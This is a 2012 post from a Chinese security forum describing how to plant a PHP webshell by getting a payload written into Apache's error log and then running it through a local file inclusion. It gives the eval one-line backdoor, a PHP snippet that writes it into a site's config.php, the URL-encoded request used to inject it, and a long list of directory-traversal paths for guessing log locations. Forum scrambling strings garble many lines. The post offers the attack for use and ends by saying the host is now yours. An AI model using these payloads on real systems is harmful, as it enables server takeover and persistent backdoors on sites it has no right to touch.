找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1775|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 ) T4 G3 X4 L5 }

  K' i3 R$ O6 W/ R' K. l比如还是这句一句话木马 - M* y5 p7 o2 i8 u4 H
<?eval($_POST[cmd]);?>   
" d1 X. f4 _; ?6 F. W9 ^1 b: z
: J9 o( M: @# F到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
7 d! C- R- r; Rfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 ! e# l5 n7 M# ~7 T" s: L
6 f- P( ~# p( \
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
# p& [' v8 {* z; n; Zfclose($fp);?>   //在config.php里写入一句木马语句
1 T, i( U: T6 X  Q$ u5 w* K6 T! I1 o1 J7 c/ ^: B& S' n% E
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
' v* _9 g9 T7 G' N转换为 3 S% N) ^: Z5 I; W$ v3 A
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
: _2 x7 k' i9 _config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
" G% u7 ~: ]+ T. }%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B * c0 n* O$ u6 {" ?: |" I) {
fclose%28%24fp%29%3B%3F%3E 5 r8 ?$ h8 y& K/ T
我们提交
- I4 J9 ?- h/ I& {http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
- |2 W$ ^- Z: Z% G) [! v%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
( @1 H: D4 S" X2 \: h%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B ; v. |  Z/ S0 e* F& t+ V
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E # G# |% ^$ }* i0 W& ^) l/ Z- Q
2 l4 h+ F3 K1 e( W
这样就错误日志里就记录下了这行写入webshell的代码。
, {; J7 F+ n3 h* T& n我们再来包含日志,提交 1 v) t/ n" u* ^6 N
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log # ~& a* I4 }- M9 j1 r  H+ D4 ?
5 C/ z/ Y- w: P
这样webshell就写入成功了,config.php里就写入一句木马语句
; T1 s+ v/ l# {( n* _OK.   k8 s0 ?9 X4 J( C/ l. M- _) D
http://www.xxx.com/forum/config.php这个就成了我们的webshell * f: q( J7 x( W0 a& o
直接用lanker的客户端一连,主机就是你的了。 ' ]# \; e8 r/ N5 l) E; b! e  _
; S6 A' O( o0 n: V. O
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
! s3 f, n8 H: u
; V' a3 r4 T. o9 \* b: R其他的日志路径,你可以去猜,也可以参照这里。
, E# `) K5 ?3 ?+ a6 \../../../../../../../../../../var/log/httpd/access_log 1 c9 P: P' V  o- T( y) v; K  {) C6 W
../../../../../../../../../../var/log/httpd/error_log
* Q7 h% w& o0 j2 \3 z/ C# O( _3 ~4 p. J../apache/logs/error.log
0 @7 b+ G; M) F4 k3 T: ^; E../apache/logs/access.log
$ [% a1 O6 o* [, {* h; Q' ^0 E../../apache/logs/error.log / a- l1 x* B* l# ~4 g2 m
../../apache/logs/access.log
" A1 H/ e/ w* k. R- Z/ b2 T../../../apache/logs/error.log
! H3 _$ T+ {4 J../../../apache/logs/access.log
' x, y( i% {' t) X. F7 c7 V../../../../../../../../../../etc/httpd/logs/acces_log
  S& `$ M3 ], ]../../../../../../../../../../etc/httpd/logs/acces.log . q( ^; Y/ y# w; ]
../../../../../../../../../../etc/httpd/logs/error_log 0 A1 p$ n6 O% S" y. |& J( c
../../../../../../../../../../etc/httpd/logs/error.log / q( F* v2 ]+ s1 f$ C
../../../../../../../../../../var/www/logs/access_log
  M2 T) o& O# h9 A' d3 A../../../../../../../../../../var/www/logs/access.log ( a& N6 W4 U! d$ d1 Y
../../../../../../../../../../usr/local/apache/logs/access_log
7 _. _' }; ^3 `; R../../../../../../../../../../usr/local/apache/logs/access.log 4 n' S$ j& y- [
../../../../../../../../../../var/log/apache/access_log 7 D( r: U; h; c+ V* M5 m8 Z6 p- j
../../../../../../../../../../var/log/apache/access.log
$ N1 ^9 S* R( D& ]5 |  @) y% y0 V../../../../../../../../../../var/log/access_log
7 u: v* @7 q; v! e2 Y" j../../../../../../../../../../var/www/logs/error_log
, _7 s- l- G( h  |' U& `../../../../../../../../../../var/www/logs/error.log
4 s  x; ]9 t! p! k../../../../../../../../../../usr/local/apache/logs/error_log 3 \2 g$ |9 \! @$ p. v$ j2 g
../../../../../../../../../../usr/local/apache/logs/error.log
/ ~3 F$ K+ W1 t( a../../../../../../../../../../var/log/apache/error_log
0 g8 ?( X: Z, R4 n" G! x../../../../../../../../../../var/log/apache/error.log
: W* s8 b: b) C* Z+ I../../../../../../../../../../var/log/access_log ; q2 I6 L/ B* \/ T6 w# N( V( o
../../../../../../../../../../var/log/error_log
1 T( [3 i$ f% E9 W$ S/var/log/httpd/access_log       * A1 Z! n- M2 S6 v- O1 X
/var/log/httpd/error_log     
  y2 ~8 t9 W' Z; ?6 M! o. A3 o7 U../apache/logs/error.log     
2 C& q  r; Y. q! a../apache/logs/access.log
- b  |+ y/ f  {../../apache/logs/error.log
4 C/ f* u; r# R" W7 G& B; S# n& v../../apache/logs/access.log # b( ?+ u; W  V- {. [
../../../apache/logs/error.log
' p& V2 Z9 @0 t../../../apache/logs/access.log ( c# ]' ?9 w+ X6 J- H
/etc/httpd/logs/acces_log : F& t# O4 q% {  h
/etc/httpd/logs/acces.log
$ n5 w1 C- r9 P. [9 c/etc/httpd/logs/error_log + v) i& @+ ~$ P+ _0 i- B
/etc/httpd/logs/error.log 6 T6 M/ {  T5 v! W  S
/var/www/logs/access_log
9 I1 T' d# V9 t5 d' k! P( H) h, f/var/www/logs/access.log ) ^  r! C' [/ p$ Z2 k& u. }
/usr/local/apache/logs/access_log
2 V+ `* y1 p7 w( b4 a# X/usr/local/apache/logs/access.log
0 C" I8 o. j5 B( e& C: G6 H/var/log/apache/access_log
. \$ `) o2 Y( E3 ]# P/var/log/apache/access.log
' h7 d, W4 t9 v6 C1 T/var/log/access_log
- o, B. o( p3 x: J8 Z7 j  z/var/www/logs/error_log
: K0 ]2 S7 h4 z/var/www/logs/error.log 3 p$ }8 q: d  g
/usr/local/apache/logs/error_log ! _8 u- B; I7 [4 \' g7 |1 U- ?; W: }
/usr/local/apache/logs/error.log ' u  f" |/ `6 o5 U2 W
/var/log/apache/error_log 3 `2 B5 M- l3 T' Y7 Z. x6 \
/var/log/apache/error.log
2 v- B- p  ]3 y; i$ E/var/log/access_log
$ j5 `/ o) Y+ i: d/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表